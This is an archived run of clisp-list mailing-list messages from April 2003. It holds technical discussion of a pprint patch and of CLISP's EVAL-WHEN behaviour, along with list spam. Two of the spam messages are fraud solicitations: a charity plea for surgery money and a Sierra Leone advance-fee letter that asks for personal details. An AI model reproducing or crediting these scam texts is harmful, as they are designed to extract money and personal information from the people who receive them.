http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From svetlana_18@msn.com Thu Apr 03 06:22:33 2003 Received: from hnllhi1-ar1-4-65-061-042.hnllhi1.dsl-verizon.net ([4.65.61.42] helo=61.42) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1915bn-0005zo-00 for ; Thu, 03 Apr 2003 06:22:29 -0800 From: "svetlana" To: clisp-list@lists.sourceforge.net Content-Type: text/html; Content-Transfer-Encoding: windows-1251 X-Priority: 3 X-Library: Indy 8.0.16-B X-Mailer: LK SendIt 2.0 Message-Id: Subject: [clisp-list] from svetlana Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 06:26:37 2003 X-Original-Date: Thu, 3 Apr 2003 16:38:23 +0300 Hi my friend, I am sorry, I have disturbed you.... I have found your address in the Internet.... I in despair.... My friends have advised me to search for the help in the Internet.... My name is Svetlana... I live in Ukraine..... To me of 28 years... Back I had two years a malignant tumour in my breast..... To me have performed surgical operation.... In result---I have lost one breast..... For me it is the big loss.... My husband could not live with me.... It(he) has left me.... I have remained one with the small child.... My life became similar to a hell.... I can not live with it more..... I am still young... And beautiful.... I want to have family... But with my problem I can not have it... I have learned(found out), that now, in my country make operations on restoration of a breast.... With the help of an implant... Such operation costs 3000 $ American...... But I have no such money.... I the poor girl.... I work in some computer firm... My salary 50 $.... It is enough only for meal... I in despair.... It is very a shame to me to ask money for operation..... But I have no other exit..... If you can help me... I shall pray to the God for you.. All my life... 20-30 $ will be enough too.... I hope to collect necessary quantity of money...... The answer to me please if you may help me.... I shall be grateful to you.... Very much... Sincerely, Svetlana.. From joseph_coleman72@starmedia.com Thu Apr 03 06:37:42 2003 Received: from smtp.latinmail.com ([207.153.214.75]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1915qW-0001Ys-00 for ; Thu, 03 Apr 2003 06:37:40 -0800 Received: from starmedia.com.com (unknown [209.207.185.29]) by smtp.latinmail.com (LatinMail) with SMTP id 878F93C02E for ; Thu, 3 Apr 2003 09:37:32 -0500 (EST) To: clisp-list@sourceforge.net From: joseph coleman X-Mailer: LatinMail v3.0 -- http://www.starmedia.com.com Content-Type: text/plain; charset=us-ascii X-Priority: 3 Message-Id: <20030403143732.878F93C02E@smtp.latinmail.com> Subject: [clisp-list] JOSEPH COLEMAN Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 06:42:31 2003 X-Original-Date: Thu, 3 Apr 2003 09:37:23 -0500 Dear SIR, I am Mr.Joseph Coleman and my sister is Miss Rose Coleman, we are the children of late Chief Paul Coleman from Sierra Leone. children of late Chief Paul Coleman from Sierra Leone. I am writing you in absolute confidence primarily to seek your assistance to transfer our cash of twelve Million Dollars ($12,000.000.00) now in the custody of a private Security trust firm in Europe the money is in trunk boxes deposited and declared as family valuables by my late father as a matter of fact the company does not know the content as money, although my father made them to under stand that the boxes belongs to his foreign partner. Source of the money: My late father Chief Paul Coleman , a native of Amende District in the Norther province of Sierra Leone, was the General Manager of Sierra Leone Mining c-operation (S.L.M.C.) Freetown . According to my father, this money was the income accrued from Mining Co-operations over draft and minor sales. sales. Before the peak of the civil war between the rebels forces of Major Paul Koroma and the combined forces of ECOMOG peace keeping operation that almost destroyed my country, following the forceful removal from power of the civilian elected President Ahmed Tejan Kabbah by the rebels. My father had already made arrangement for his family thats talking about my mother, my little sister and myself to be evacuated to Abidjan Cote d' Ivoire with the CERTIFICATE OF DEPOSIT he made with a security firm in Europe through the aid of U.N evacuation team. evacuation team. During the war in my country, and following the indiscriminate looting of Public and Government properties by the rebel forces, the Sierra Leone mining coop. Was one of the target looted and it was destroyed. My father including other top Government functionaries were attacked and killed by the rebels in November 2000 because of his relationship with the civilian Government of Ahmed Tejan Kabbah. As a result of my father's death , and with the news of my uncle's involvement in the air crash in January it dashed our hope of survival. The untimely deaths caused my mother's heart failure and other related complications of which she later died in the hospital after we must have spent a lot of money on her early this year . Now my 18 years old sister and myself are alone in this strange country suffering without any care or help. Without any relation, we are now like refugees and orphans. Our only hope now is in you and the boxes deposited in the Security Firm To this effect, I humbly solicit your assistance in the followings ways. 1. to assist me claim this boxes from the security Firm as our beneficiary 2. to transfer this money (USD$12M) in your name to your country 3. to make a good arrangement for a joint business investment on our behalf in your country and you, our Adviser/ Manager For your assistance, I have agreed with my younger sister that 20% of the total amount will be for your effort and another 10 % to cover all the expenses that may incur during the business transaction, Last, I urge you to keep this transaction strictly confidential as no one knows our where about. Please as you show your willingness, Forward to us your full name, address and Tel/ Fax numbers, to me via my private email address as indicated bellow, this is for security reasons as i will only be accessing my private email earnestly awaiting your response. Thanks. May God bless you as you assist us. Mr.JOSEPH COLEMAN. Private Email : josephcoleman72@netscape.net _______________________________________________________________________________________________________ Obtén gratis tu cuenta de correo en StarMedia Email. ¡Regístrate hoy mismo!. http://www.starmedia.com/email From sds@gnu.org Thu Apr 03 06:44:00 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1915we-0003s5-00 for ; Thu, 03 Apr 2003 06:44:00 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030403144345.QPJN1817.pop017.verizon.net@loiso.podval.org>; Thu, 3 Apr 2003 08:43:45 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h33EjMTx030717; Thu, 3 Apr 2003 09:45:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h33EjMPT030713; Thu, 3 Apr 2003 09:45:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.42.128] at Thu, 3 Apr 2003 08:43:44 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 06:50:59 2003 X-Original-Date: 03 Apr 2003 09:45:22 -0500 > * In message > * On the subject of "Re: [clisp-list] Re: Current CVS observations" > * Sent on Thu, 03 Apr 2003 10:44:49 +0100 > * Honorable Christophe Rhodes writes: > > I'll give it a try -- I'll try to have a look at it on my travels. thanks. > I hesitate to ask, but has there been any progress on the other two > issues I reported? (in case they're lost, they related to EVAL-WHEN > :EXECUTE not being executed when it's not at top-level, and use of I am afraid I don't recall this. > print-logical-block setting a variable (*PRIN-LEVEL*?) in a locked > package. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux (lisp programmers do it better) --- pprint.lisp.~1.8.~ 2002-11-28 15:40:13.000000000 -0500 +++ pprint.lisp 2003-04-03 09:43:39.000000000 -0500 @@ -114,6 +114,7 @@ (suf (gensym "PPLB-SUFF-"))) `(let ((,pre ,prefix) (,suf ,suffix) + (*prin-level* (1+ *prin-level*)) (*prin-line-prefix* ,per-line-prefix) (*prin-miserp* (and *print-miser-width* @@ -159,7 +160,6 @@ (go pprint-logical-block-end)))) (pprint-exit-if-list-exhausted () '(unless obj (go pprint-logical-block-end)))) - (incf *prin-level*) (when ,pre (write-string ,pre ,out) (pprint-indent :current 0 ,out)) From will@misconception.org.uk Thu Apr 03 07:09:32 2003 Received: from [194.201.210.209] (helo=cmedltd.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1916LL-0002V0-00 for ; Thu, 03 Apr 2003 07:09:31 -0800 Received: (qmail 10125 invoked by uid 8); 3 Apr 2003 14:52:40 -0000 Received: from UNKNOWN (192.168.64.6, claiming to be "cambridge.cmedltd.com") by webserver1.cmedltd.com with SMTP id smtpdmG0X5b; Thu, 03 Apr 2003 09:52:37 EST Received: (qmail 7359 invoked by uid 8); 3 Apr 2003 15:08:45 -0000 Received: from brogue.cambridge.cmedltd.com (192.168.64.203) by jack.cambridge.cmedltd.com with SMTP id smtpdV9D3TA; Thu, 03 Apr 2003 10:08:40 EST From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CVS issues. User-Agent: KMail/1.5.1 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200304031608.12687.will@misconception.org.uk> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 07:14:47 2003 X-Original-Date: Thu, 3 Apr 2003 15:08:12 +0000 On Tuesday 01 April 2003 19:46, Kaz Kylheku wrote: > While working on the new backquote stuff, I ran into some irritations > with $Log$ keywords in some files in src and src/po. This useless thing > just causes merge conflicts. It might be a good idea to get rid of > $Log$ and the messages it has generated. Use cvs checkout -kk to stop expanding these. From csr21@cam.ac.uk Thu Apr 03 07:35:35 2003 Received: from maroon.csi.cam.ac.uk ([131.111.8.2]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1916k2-0007ix-00 for ; Thu, 03 Apr 2003 07:35:02 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by maroon.csi.cam.ac.uk with esmtp (Exim 4.12) id 1916jW-0001gq-00 for clisp-list@lists.sourceforge.net; Thu, 03 Apr 2003 16:34:30 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 1916jV-0004ff-00 for ; Thu, 03 Apr 2003 16:34:29 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "03 Apr 2003 09:45:22 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 07:40:56 2003 X-Original-Date: Thu, 03 Apr 2003 16:34:29 +0100 Sam Steingold writes: >> * Honorable Christophe Rhodes writes: >> print-logical-block setting a variable (*PRIN-LEVEL*?) in a locked >> package. > > please try the appended patch. Thank you, that works much better. I would send a diff in return, but sourceforge appears to be playing up at this moment, so could I suggest that (declare (ignorable obj)) be added to the lambda in %PPRINT-LOGICAL-BLOCK, thusly: (lambda (,out obj) (declare (ignorable obj)) ; HERE (let ((,idx 0)) ? This would remove the other generated warning. >> I hesitate to ask, but has there been any progress on the other two >> issues I reported? (in case they're lost, they related to EVAL-WHEN >> :EXECUTE not being executed when it's not at top-level, and use of > > I am afraid I don't recall this. Consider a file with the following contents: (let () (eval-when (:compile-toplevel :load-toplevel :execute) (print "foo"))) (let () (eval-when (compile load eval) (print "bar"))) I maintain that compiling this file should print nothing, and loading it should print "foo" and "bar"; CMUCL, ACL and Lispworks agree with me (I won't mention sbcl :-). CLISP, however, prints "foo" neither on compilation nor on loading, while printing "bar" both at compile-time and on loading. Looking at control.d, it would appear that the EVAL-WHEN there is very CLTL1ish -- it seems to believe in EVAL and (NOT COMPILE) (and Kexecute, which I would presume to mean :EXECUTE), but no logic for handling LOAD/:LOAD-TOPLEVEL. I believe the applicable paragraph from the CLHS page for EVAL-WHEN is the following: The use of the situation :execute (or eval) controls whether evaluation occurs for other eval-when forms; that is, those that are not top level forms, or those in code processed by eval or compile. If the :execute situation is specified in such a form, then the body forms are processed as an implicit progn; otherwise, the eval-when form returns nil. the EVAL-WHENs above are not top-level forms, as they are inside a LET (the only forms preserving toplevelness being MACROLET, SYMBOL-MACROLET, LOCALLY and PROGN), so since :EXECUTE/EVAL are specified, I would expect their bodies to be executed at load time. There are headache-inducing examples on the CLHS page for EVAL-WHEN, the most pertinent of which is the first. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From unsub@artcompendium.com Thu Apr 03 08:38:04 2003 Received: from mail1.artmarket.com ([194.242.43.182]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1917j0-00010P-00 for ; Thu, 03 Apr 2003 08:38:03 -0800 From: Art Market Insight To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] April 2003: SPRING: Prices stable - Stabilite des prix au Printemps Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 08:45:26 2003 X-Original-Date: Thu, 03 Apr 2003 08:38:03 -0800 ArtMarketInsight TM

 ArtMarketInsight® by 

April 2003

Art market key figures

[En Français]

Prices stable ahead of the spring auctions [21 Mar.]

Despite the geopolitical upheaval centring on the Gulf, art prices since the start of the year are little changed from 2002. Things were very different in 1991, when the first Gulf war combined with Japan’s economic slump to plunge the art world into a crisis that lasted half a decade.
[…] Read more


Do Italian futurists have a future at auction? [27 Mar.]

Modern prints dominate the prints market [18 Mar.]

Marathon of surrealist auctions: 4,100 lots in one sale [13 Mar.]

New York/London: partners or rivals? [11 Mar.]

Copyright © Artprice.com
Artprice™ press agency, the world leader in art market information, reveals the mechanisms and secrets of the art auction world.
Our press agency reports and comments on the art auction figures and charts covering 2,900 auction houses in 40 countries.

ArtMarketInsight® , the art market dedicated screen, by Artprice
These articles feature unique art market econometrics and statistics.
Available at:  http://www.artprice.com

Free Artist Search:

artprice

In 2003, the Artprice Pure Play subscription is the quickest and easiest way to unlimited search among 3.2 million art work auction results, 290,000 artists, their upcoming auctions, price levels and indices -unique in the world- biographies, signatures & monograms as well as to all the Artprice ArtMarketInsight press releases.

Join the 900,000 Artprice customers
Artprice Pure Play (unlimited access): USD/EUR 16.58 per month

















 ArtMarketInsight® par 

Avril 2003

Les chiffres clés du marché de l'art

[In English]

Stabilité des prix à l’aube des ventes de printemps [21 Mar.]

Depuis le début de l’année, en dépit des événements géopolitiques actuels, le prix des œuvres d’art se maintient par rapport à l’année dernière. En 1991, avec la crise de l’économie japonaise, la guerre du Golfe avait été l’un des facteurs déclenchant la crise traversée par le marché de l’art durant la première moitié des années 90’.
[…] Lire la suite


Les futuristes italiens ont-ils un avenir sur le marché ? [27 Mar.]

Les modernes dominent le marché de l’estampe [18 Mar.]

Marathon d’enchères surréalistes : 4100 lots, une vente ! [13 Mar.]

New York / Londres : complices ou concurrents ? [11 Mar.]

Source © Artprice.com

L'agence de presse d'Artprice, leader mondial de l'information sur le marché de l'art, publie toutes les données sur toutes les ventes aux enchères de Fine Art. Son service économètrique analyse toutes ces données au fil de l'actualité et vous dévoile ici les mécanismes et secrets de ce marché.

ArtMarketInsight® , l'écran d'informations sur le marché de l'art, par Artprice
Ces articles sont illustrés par des données statistiques et économétriques uniques.
Tous sont disponibles sur :  http://www.artprice.com

Recherche gratuite :

artprice

Une simple connexion Internet avec l' abonnement Artprice Pure Play* vous donne l'accès immédiat et illimité aux 3,2 millions de résultats d'adjudications d'œuvres d'art, 290 000 artistes, ventes prochaines, indices et cotes uniques au monde, biographies, signatures et monogrammes ainsi qu'à toutes les dépêches d'informations sur le marché de l'art.

Rejoignez les 900 000 clients Artprice
Accès illimité : Pure Play* sur Artprice : 16,58 EUR/USD par mois
*100% internet










To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artcompendium.com/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artcompendium.com/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artcompendium.com/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artcompendium.com/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.

En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage.

  From sds@gnu.org Thu Apr 03 12:51:27 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191BgE-0001wH-00 for ; Thu, 03 Apr 2003 12:51:26 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030403205117.TKZE1728.pop015.verizon.net@loiso.podval.org>; Thu, 3 Apr 2003 14:51:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h33KPPTx031376; Thu, 3 Apr 2003 15:25:25 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h33KPO5i031372; Thu, 3 Apr 2003 15:25:24 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 72 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Thu, 3 Apr 2003 14:51:15 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 3 12:54:18 2003 X-Original-Date: 03 Apr 2003 15:25:24 -0500 > * In message > * On the subject of "Re: [clisp-list] Re: Current CVS observations" > * Sent on Thu, 03 Apr 2003 16:34:29 +0100 > * Honorable Christophe Rhodes writes: > > (let () > (eval-when (:compile-toplevel :load-toplevel :execute) > (print "foo"))) > (let () > (eval-when (compile load eval) > (print "bar"))) > > I maintain that compiling this file should print nothing, and loading > it should print "foo" and "bar"; CMUCL, ACL and Lispworks agree with > me (I won't mention sbcl :-). CLISP, however, prints "foo" neither on > compilation nor on loading, while printing "bar" both at compile-time > and on loading. As expounded upon in the impnotes , in CLISP the deprecated situations COMPILE and LOAD are _NOT_ equavalent to the new standard situations :COMPILE-TOPLEVEL and :LOAD-TOPLEVEL. We believe that this gives the users some extra functionality for no cost (those who want strict compliance probably do not use deprecated functionality anyway). Yes, this is a deviation from the standard. No, it is not controlled by `-ansi' (yet?). that said, let us consider the following code: (defvar *collector*) (let ((forms nil)) (dolist (c '(nil (:compile-toplevel))) (dolist (l '(nil (:load-toplevel))) (dolist (x '(nil (:execute))) (push `(eval-when (,@c ,@l ,@x) (push '(,@c ,@l ,@x) *collector*)) forms)))) (dolist (c '(nil (:compile-toplevel))) (dolist (l '(nil (:load-toplevel))) (dolist (x '(nil (:execute))) (push `(let () (eval-when (,@c ,@l ,@x) (push '(let ,@c ,@l ,@x) *collector*))) forms)))) (with-open-file (o "eval-when-test.lisp" :direction :output :if-exists :supersede) (dolist (f forms) (prin1 f o) (terpri o))) (let ((*collector* nil)) (load "eval-when-test.lisp") (print *collector*)) (let ((*collector* nil)) (compile-file "eval-when-test.lisp") (print *collector*)) (let ((*collector* nil)) (load (compile-file-pathname "eval-when-test.lisp")) (print *collector*))) what should the printout be? I would appreciate it if you could raise this issue on c.l.l so that we could get an authoritative answer that would close the discussion. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From csr21@cam.ac.uk Fri Apr 04 00:51:42 2003 Received: from plum.csi.cam.ac.uk ([131.111.8.3]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191Mul-0007Pu-00 for ; Fri, 04 Apr 2003 00:51:11 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by plum.csi.cam.ac.uk with esmtp (Exim 4.12) id 191MuF-0003Tz-00 for clisp-list@lists.sourceforge.net; Fri, 04 Apr 2003 09:50:39 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 191MuE-0005XV-00 for ; Fri, 04 Apr 2003 09:50:38 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "03 Apr 2003 15:25:24 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 00:52:10 2003 X-Original-Date: Fri, 04 Apr 2003 09:50:38 +0100 Sam Steingold writes: > As expounded upon in the impnotes > , > in CLISP the deprecated situations COMPILE and LOAD are _NOT_ > equavalent to the new standard situations :COMPILE-TOPLEVEL and > :LOAD-TOPLEVEL. > We believe that this gives the users some extra functionality for no > cost (those who want strict compliance probably do not use deprecated > functionality anyway). > Yes, this is a deviation from the standard. > No, it is not controlled by `-ansi' (yet?). OK, fair enough. I'm only tangentially interested in the COMPILE LOAD EVAL situations, as it happens; I was just slightly perturbed by the difference in behaviour. I'm very interested in getting compliant behaviour from :COMPILE-TOPLEVEL/:LOAD-TOPLEVEL/:EXECUTE. > that said, let us consider the following code: > > (defvar *collector*) > (let ((forms nil)) > (dolist (c '(nil (:compile-toplevel))) > (dolist (l '(nil (:load-toplevel))) > (dolist (x '(nil (:execute))) > (push `(eval-when (,@c ,@l ,@x) > (push '(,@c ,@l ,@x) *collector*)) > forms)))) > (dolist (c '(nil (:compile-toplevel))) > (dolist (l '(nil (:load-toplevel))) > (dolist (x '(nil (:execute))) > (push `(let () (eval-when (,@c ,@l ,@x) > (push '(let ,@c ,@l ,@x) *collector*))) > forms)))) > (with-open-file (o "eval-when-test.lisp" :direction :output > :if-exists :supersede) > (dolist (f forms) > (prin1 f o) > (terpri o))) > (let ((*collector* nil)) > (load "eval-when-test.lisp") > (print *collector*)) LOAD of source implies that the relevant top-level regime is :EXECUTE. Therefore, for the EVAL-WHEN forms at toplevel, only those combinations with :EXECUTE in the situations will be executed, so this list starts with those toplevel forms with :EXECUTE. For the EVAL-WHEN forms not at top level, their execution on EVAL/LOAD is again controlled by :EXECUTE, so again only those forms with :EXECUTE in their situations will be executed, so the final list is: ((:execute) (:load-toplevel :execute) (:compile-toplevel :execute) (:compile-toplevel :load-toplevel :execute) (let :execute) (let :load-toplevel :execute) (let :compile-toplevel :execute) (let :compile-toplevel :load-toplevel :execute)) > (let ((*collector* nil)) > (compile-file "eval-when-test.lisp") > (print *collector*)) The situation controlling execution of top-level forms at COMPILE-FILE time is :COMPILE-TOPLEVEL, so for the EVAL-WHENs at toplevel, only those with :COMPILE-TOPLEVEL in their list of situations will be executed. EVAL-WHENs not at top-level are never executed at COMPILE-FILE time (see CLHS 3.2.3), so the answer is ((:compile-toplevel) (:compile-toplevel :execute) (:compile-toplevel :load-toplevel) (:compile-toplevel :load-toplevel :execute)) > (let ((*collector* nil)) > (load (compile-file-pathname "eval-when-test.lisp")) > (print *collector*))) The situation controlling execution of toplevel EVAL-WHENs processed by LOAD of COMPILE-FILE is :LOAD-TOPLEVEL, so the toplevel forms with :LOAD-TOPLEVEL in their situations will be executed. Non-toplevel EVAL-WHENs with :EXECUTE (that being the only important situation for non-toplevel EVAL-WHENs) will have been compiled to a PROGN, and therefore EVAL-WHENs inside the LET with :EXECUTE on their situations will also push onto *COLLECTOR*, so the printout from this one is: ((:load-toplevel) (:load-toplevel :execute) (:compile-toplevel :load-toplevel) (:compile-toplevel :load-toplevel :execute) (let :execute) (let :load-toplevel :execute) (let :compile-toplevel :execute) (let :compile-toplevel :load-toplevel :execute)) > I would appreciate it if you could raise this issue on c.l.l so that we > could get an authoritative answer that would close the discussion. I guess cll could get involved, but is there something in the above that isn't clear? The relevant passages from the CLHS are the EVAL-WHEN Special Operator page and section 3.2.3 (and 3.2.3.1, though I dunno if that isn't a bit confusing -- the cases above don't need 3.2.3.1 to be explained; the difficult ones involve nested eval-whens). Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From unsub@artauction.net Fri Apr 04 00:56:18 2003 Received: from mail1.artmarket.com ([194.242.43.186]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191Mzg-0008Nd-00 for ; Fri, 04 Apr 2003 00:56:16 -0800 From: Andre Breton Sale To: MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] The Art Sale of the Century - La Vente du Siecle Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 00:57:13 2003 X-Original-Date: Fri, 04 Apr 2003 00:56:16 -0800 Bret0n-NoterB

_ - - - - - - - - - - - -


V
eNte (saLe) AndRé BreTOn

 

2003, april, 01 avril 2003 - 2003, april, 18 avril 2003
Calmels Cohen - Drouot Richelieu - Paris - France

 

THE WORLD LEARDER IN ART MARKET INFORMATION













To remove your email: clisp-list@lists.sourceforge.net
please click below:
http://list.artauction.net/?m=clisp-list@lists.sourceforge.net
In case the above link does not work you can go to
http://list.artauction.net/
or reply to this message as it is.
Please allow us 72 H for your e-mail to be removed.
Thank you for your co-operation.

Pour désinscrire votre email : clisp-list@lists.sourceforge.net
cliquez ci-dessous :
http://list.artauction.net/?m=clisp-list@lists.sourceforge.net
Si le lien ci-dessus ne fonctionne pas, vous pouvez aller sur :
http://list.artauction.net/
ou répondez svp à ce message sans en modifier le contenu.
Votre désinscription sera effective dans les 72 H.
Merci de votre coopération.
